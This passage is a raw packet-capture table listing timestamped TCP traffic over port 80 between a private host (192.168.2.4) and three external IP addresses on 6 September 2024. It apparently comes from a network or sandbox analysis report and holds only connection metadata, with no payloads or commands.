Sep 6, 2024 08:17:06.201386929 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.201396942 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.201407909 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.201414108 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.201435089 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.201440096 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.201451063 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.201459885 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.201488972 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.201498032 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.201559067 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.201605082 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.201613903 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.201625109 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.201636076 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.201642036 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.201647043 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.201657057 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.201663971 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.201668024 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.201684952 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.201699972 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.201725960 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.201730013 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.201736927 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.201752901 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.201764107 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.201778889 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.201798916 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.201801062 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.201811075 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.201821089 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.201843977 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.201855898 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.207065105 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.207075119 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.207084894 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.207120895 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.207125902 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.207139015 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.207149982 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.207156897 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.207169056 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.207170963 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.207200050 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.207204103 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.207251072 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.219014883 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.219024897 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.219067097 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.219078064 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.219089985 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.219100952 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.219111919 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.219119072 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.219125032 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.219151020 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.219151974 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.219176054 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.219197035 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.219199896 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.219208956 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.219237089 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.219280958 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.219291925 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.219301939 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.219325066 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.219340086 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.219379902 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.219392061 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.219403028 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.219412088 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.219428062 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.219445944 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.234272957 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.234288931 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.234298944 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.234314919 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.234328032 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.234329939 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.234338999 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.234363079 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.234366894 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.234374046 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.234385967 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.234411955 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.238898993 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.238909960 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.238924980 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.238954067 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.238986015 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.238998890 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.239000082 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.239010096 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.239021063 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.239022970 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.239041090 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.239057064 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.244636059 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.244652987 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.244684935 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.244703054 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.244786978 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.244797945 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.244808912 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.244823933 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.244827032 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.244843960 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.244847059 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.244858980 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.244870901 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.244890928 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.244916916 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.244923115 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.244935036 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.244946003 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.244956970 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.244971991 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.244999886 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.245081902 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.245125055 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.245167017 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.245178938 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.245198011 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.245207071 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.245208979 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.245218039 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.245240927 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.245248079 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.245260954 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.245268106 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.245271921 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.245299101 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.245310068 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.245323896 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.245336056 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.245347977 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.245362997 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.245376110 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.245378017 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.245388031 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.245435953 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.245573044 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.245584011 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.245594978 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.245606899 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.245618105 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.245621920 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.245631933 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.245649099 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.245662928 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.245713949 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.245738029 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.245748997 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.245758057 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.245785952 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.245816946 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.245829105 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.245840073 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.245852947 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.245857954 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.245884895 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.245906115 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.245920897 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.245933056 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.245948076 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.245974064 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.245999098 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.246028900 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.246041059 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.246051073 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.246063948 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.246071100 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.246076107 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.246088028 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.246098042 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.246098042 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.246108055 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.246126890 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.246139050 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.246140957 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.246150970 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.246150970 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.246166945 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.246187925 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.247653008 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.247664928 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.247677088 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.247704029 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.247718096 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.247729063 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.247736931 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.247740984 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.247754097 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.247761965 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.247792006 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.247878075 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.247889996 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.247900009 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.247911930 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.247924089 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.247925043 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.247939110 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.247950077 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.247952938 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.247961998 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.247975111 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.247982979 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.247986078 CEST	80	49734	176.113.115.33	192.168.2.4
Sep 6, 2024 08:17:06.248003006 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.248023033 CEST	49734	80	192.168.2.4	176.113.115.33
Sep 6, 2024 08:17:06.248049974 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.248060942 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.248071909 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.248101950 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.248105049 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.248116016 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.248126030 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.248127937 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.248155117 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.248183012 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.248226881 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.248238087 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.248250008 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.248261929 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.248272896 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.248274088 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.248286963 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.248300076 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.248302937 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.248311043 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:06.248316050 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.248356104 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:06.248507977 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.248550892 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.252301931 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.252346039 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.252352953 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.252357006 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.252376080 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.252378941 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.252393961 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.252399921 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.252404928 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.252418041 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.252424002 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.252435923 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.252437115 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.252446890 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.252466917 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.252477884 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.252486944 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.252497911 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.252509117 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.252515078 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.252517939 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.252531052 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.252543926 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.252557993 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.252585888 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.252659082 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.252671003 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.252681017 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.252692938 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.252705097 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.252707005 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.252717018 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.252724886 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.252727985 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.252733946 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.252764940 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.252783060 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.252794027 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.252804995 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.252815962 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.252826929 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.252829075 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.252835989 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.252846003 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.252857924 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.252865076 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.252876043 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.252887011 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.252892971 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.252898932 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.252911091 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.252935886 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.252969027 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.252979040 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.252994061 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253005981 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253010035 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.253016949 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253029108 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253034115 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.253041029 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253058910 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.253087044 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.253110886 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253122091 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253132105 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253144979 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253149986 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.253155947 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253165007 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.253168106 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253179073 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253190994 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253194094 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.253202915 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253221035 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.253235102 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.253264904 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253276110 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253284931 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253297091 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253308058 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.253309011 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253320932 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253333092 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253334045 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.253349066 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253350973 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.253360987 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253377914 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.253406048 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.253520012 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253551006 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253561974 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253593922 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.253604889 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:06.253639936 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:06.253655910 CEST	80	49733	147.45.44.104	192.168.2.4
